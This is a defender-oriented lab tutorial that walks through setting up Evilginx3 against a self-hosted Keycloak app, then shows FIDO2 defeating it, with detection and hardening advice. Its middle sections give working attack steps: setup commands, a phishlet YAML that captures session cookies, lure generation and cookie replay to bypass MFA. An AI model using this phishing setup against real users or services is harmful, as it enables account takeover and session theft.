Evilginx3 Lab: Build a Safe AiTM Phishing Lab to Understand Session Cookie Theft (and Why FIDO2 Stops It)
AiTM proxies relay your login page in real time, capture the MFA code, and harvest the resulting session cookie—so the attacker authenticates as you without ever knowing your password or second factor. FIDO2/WebAuthn defeats this because signatures are cryptographically bound to the legitimate domain’s origin, and a proxy on a lookalike domain simply cannot complete the ceremony.
Traditional phishing has a well-established playbook: a fake login page, a credential dump, a password spray. Microsoft’s detection teams documented a sharp shift in 2022 when adversaries started deploying adversary-in-the-middle (AiTM) proxies at scale, and CISA has repeatedly flagged AiTM phishing in advisories since. The kit that popularized this technique is Evilginx—now at version 3.x—written by Kuba Gretzky (@mrgretzky). Most articles about it are either marketing fluff or malice-adjacent tutorials. This is neither. This is a build-it-yourself lab guide for defenders who want to understand exactly how session cookie theft works—and, more importantly, exactly why phishing-resistant authentication ends it.
TL;DR: How Evilginx3 Steals Sessions and Why FIDO2 Stops It
Evilginx3 is a reverse-proxy phishing framework. It hosts a pixel-perfect copy of a login flow on an attacker-controlled domain, transparently relaying every request to the real site. When the victim’s OTP or push approval satisfies MFA on the legitimate backend, the real site issues a session cookie—which Evilginx captures before the victim ever sees it. The attacker replays that cookie and inherits an authenticated session, MFA included. FIDO2/WebAuthn breaks the chain because the private key never leaves the authenticator and its signatures are bound to the real origin’s RP ID; the proxy’s lookalike domain fails the ceremony outright.
What Adversary-in-the-Middle (AiTM) Phishing Actually Is
Classic credential phishing is a static copy: attacker clones a login page, victim types a password, attacker collects it and tries to log in later. Any half-decent MFA deployment kills that model outright—the attacker has the password but not the second factor.
AiTM phishing throws that defense out the window. Instead of a static clone, the attacker operates a live reverse proxy. The victim browses to login.company-sso.com—a domain the attacker controls—but every request is forwarded to the real login.microsoftonline.com (or whatever the target is), and every response is streamed back. The victim sees a genuine login page with a valid TLS certificate for the proxy domain. Credentials flow through the proxy to the real site. The MFA prompt arrives in real time, the victim approves it, and MFA is satisfied—on the real site, by the real user. The proxy then intercepts the Set-Cookie response containing the authenticated session token and stores it. The attacker never needs the password again; the cookie is the session.
This is why OWASP’s authentication guidance and CISA’s advisories on MFA both emphasize that not all MFA is equal. OTP codes and push approvals are relayable; the session they mint is stealable.
Legal and Safety Ground Rules Before You Start
Let’s be unambiguous: deploying Evilginx3 against systems, domains, or people you do not own or lack explicit written authorization to test is a crime in most jurisdictions—including under the U.S. Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalents elsewhere. Phishing infrastructure is also exactly what registrars, CERTs, and anti-abuse teams actively hunt and burn.
- Run everything inside an isolated lab: a dedicated VM or host on an isolated VLAN with no route to production networks.
- Only “phish” yourself, against test applications you host or test tenants you own.
- Never point phishlets at real third-party services—no Microsoft, no Google, no banks. Use your own self-hosted SSO or a deliberately vulnerable test app.
- Do not send lures to real people. Your “victim” is your own test browser.
- If your organization runs a security program, document the lab before you build it.
Lab Architecture and Prerequisites
You need:
- An isolated Linux VM (Ubuntu 22.04/24.04 LTS is fine) or a cheap VPS dedicated entirely to the lab. A VPS makes DNS easier; a local VM works with DNS trickery in
/etc/hosts. - Go runtime (1.20+ for Evilginx3) if building from source, or download the precompiled release from the official Evilginx repository on GitHub.
- A domain you own for the lab—register something disposable. Never use a lookalike of a real brand, even in a lab; automation doesn’t care about your intentions.
- A target test application with a login form and cookie-based sessions: OWASP’s WebGoat, a self-hosted Keycloak instance, or your own test tenant with MFA enabled via TOTP.
- A victim browser VM on the same isolated network.
Topology: the “phishing server” VM runs Evilginx3 and authoritative DNS for your lab domain; the victim VM resolves your lab domains against it and browses only to the proxy. The real target app sits on yet another host—or, simplest, Keycloak running on the same box behind a different hostname.
Installing and Configuring Evilginx3
Clone and build:
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./build/evilginx -p ./phishlets
On first launch, Evilginx asks for the top-level domain it should manage and its public/authoritative IPs. If you’re using a VPS, point your domain’s nameservers at the VPS so Evilginx can answer DNS challenges and issue TLS certificates automatically via Let’s Encrypt. If you’re fully local, skip certificate automation headaches by adding the proxy hostnames to the victim VM’s /etc/hosts and accepting the self-signed cert—this is a lab, not a red team engagement.
Inside the Evilginx console:
config domain labdomain.test
config ip 10.0.0.10
phishlets hostname keycloak-lab login.labdomain.test
Writing Your First Phishlet (Hands-On)
A phishlet is a YAML file describing which hostnames to proxy, which cookies constitute a successful session, and any content rewriting. A minimal skeleton for a self-hosted Keycloak:
name: 'keycloak-lab'
proxy_domains:
- 'login.labdomain.test'
- 'auth.labdomain.test'
subfilters:
- hostname: 'auth.labdomain.test'
search: 'Sign in to Keycloak'
replace: 'Corporate SSO'
auth_tokens:
- domain: 'auth.labdomain.test'
keys: ['KEYCLOAK_IDENTITY', 'KEYCLOAK_SESSION']
type: 'cookie'
path: '/'
auth_urls:
- '/realms/master/protocol/openid-connect/auth'
The critical fields: auth_tokens tells Evilginx which cookies mark a successful login (check your target’s session cookies in DevTools); auth_urls are the URL patterns that signal the authentication flow has completed; subfilters handle cosmetic rewriting if you want the lure to look convincing. Get the cookie names right—open your test app, log in manually, and note every cookie set. Evilginx triggers session capture when those keys appear with valid values.
Running the Attack and Capturing Session Cookies
Enable the phishlet and generate a lure:
phishlets enable keycloak-lab
lures create keycloak-lab
lures get-url 0
Evilginx emits a URL like https://login.labdomain.test/realm/master/xyz123. Open it in the victim browser. You should see your test app’s login page, proxied live. Log in with your test account, approve the TOTP prompt—watch the proxy relay it in real time—and land on the post-login page. Back in the Evilginx console:
sessions
> [id: 1] [keycloak-lab] [username: testuser]
> captured cookies: KEYCLOAK_IDENTITY=eyJhbGciOi...; KEYCLOAK_SESSION=master/abc-123
The proxy has just done three things: relayed your credentials, relayed your MFA code, and harvested the authenticated session cookie. Dump the full session with sessions 1 and copy the cookie values.
Replaying the Stolen Session and What It Proves
Open a fresh browser profile—ideally a second VM to prove it’s not client-side magic—and inject the cookies using DevTools (Application → Cookies) or an extension like a cookie editor. Navigate directly to the test app’s post-login URL. You’re in. No password prompt, no MFA prompt. The authentication ceremony already happened; the session cookie is the bearer token, and bearer tokens don’t re-verify identity.
This is the entire lesson: MFA protects the login, not the session. Anything that can steal the session post-authentication inherits full access until the token expires or is revoked. And session lifetimes—SAML assertions, OIDC refresh tokens, “remember me” cookies—often run for days or weeks. CISA’s AiTM guidance specifically calls out stolen session cookies being replayed against cloud services to bypass MFA controls entirely.
Why FIDO2/WebAuthn Defeats AiTM
FIDO2/WebAuthn authentication binds the ceremony to an origin. During registration, the authenticator stores the RP ID (the effective domain). During authentication, the browser signs a challenge that includes that RP ID and origin—and the browser refuses to even invoke the authenticator if the page’s origin doesn’t match. When the victim is on login.labdomain.test instead of the real auth.labdomain.test, the WebAuthn ceremony fails before any signature is produced. There is nothing to relay.
Try it: enable WebAuthn on your Keycloak realm (or a test tenant) and repeat the lure. The login page renders through the proxy exactly as before—but when you reach the passkey step, the browser blocks the ceremony because the proxy’s origin doesn’t match the registered RP ID. FIDO2’s phishing resistance isn’t a policy promise; it’s a cryptographic property of origin binding. This is precisely why CISA and NIST SP 800-63B categorize FIDO2/WebAuthn as phishing-resistant authentication and recommend it over OTP and push-based MFA.
Detection Opportunities for Blue Teams
Now that you’ve run the attack, defend against it:
- Registrar and DNS signals: newly registered lookalike domains, certificates issued for typosquats via Let’s Encrypt CT logs, passive DNS showing your authentication flow’s hostnames on infrastructure you don’t own.
- HTTP-layer artifacts: AiTM proxies occasionally leak
viaheaders, unusual header ordering, missing Client Hints, or inconsistent TLS fingerprints (JA3/JA4) compared to native browsers. - Identity telemetry: impossible travel, anomalous user agents matching the proxy rather than the victim’s device, session tokens used from a different ASN/IP than the one that authenticated.
- Conditional access signals: device compliance failures—the proxied session carries no compliant device identity, so Microsoft Entra Conditional Access or equivalent device-trust policies break replayed sessions.
- Session anomaly monitoring: simultaneous sessions, token refresh from unexpected geographies, and abrupt user-agent changes mid-session.
Hardening Recommendations and Responsible Wrap-Up
The lab proves the attack; the fix is architectural:
- Deploy phishing-resistant MFA—FIDO2 passkeys—for privileged and high-risk accounts first. This structurally ends AiTM credential and session theft at authentication.
- Enforce device-bound conditional access so a stolen cookie is useless from an unmanaged device.
- Tighten session policies: short session lifetimes, reauthentication on risky actions, sign-in frequency controls, and revocable refresh tokens.
- Monitor and revoke: when an AiTM attack is suspected, revoke all refresh tokens and sessions—not just reset the password, which leaves live sessions untouched.
Building this lab yourself changes how you read vendor marketing. You’ve seen firsthand that “MFA-enabled” is not a security boundary and that phishing resistance is a property of the protocol, not a checkbox. Keep the lab isolated, keep the targets synthetic, and take the insight to your blue team.
Frequently Asked Questions
Is running Evilginx3 legal?
Only in authorized lab environments against systems you own. Deploying it against real domains, services, or people without explicit written authorization is a crime under laws like the U.S. Computer Fraud and Abuse Act and equivalents worldwide.
Why doesn’t MFA stop Evilginx3?
Because the proxy relays OTP codes and push prompts in real time. MFA is satisfied by the genuine user on the genuine site—the proxy just captures the session cookie the site issues afterward. MFA protects the login, not the session.
Does FIDO2/WebAuthn really stop AiTM phishing?
Yes. WebAuthn signatures are cryptographically bound to the legitimate origin’s RP ID, and browsers refuse to invoke the authenticator on a mismatched domain. A proxy on a lookalike domain cannot complete the ceremony, so there’s nothing to relay or steal.
Can stolen session cookies be detected or revoked?
Detected, yes: impossible travel, token anomalies, ASN mismatches, and device-compliance failures all flag replayed sessions. Revocation means invalidating refresh tokens and signing out everywhere—a password reset alone doesn’t kill live sessions.
What should I use as a phishing target in my lab?
Self-hosted applications—a local OWASP test app like WebGoat, a Keycloak instance, or your own test tenant with TOTP enabled. Never real third-party services, and never real people.
Related reading
- MFA Fatigue and Push Bombing: How Attackers Wear Down Your Users
- Shodan and Censys for Attack Surface Recon: A Hands-On OSINT Lab with Ethics Guardrails
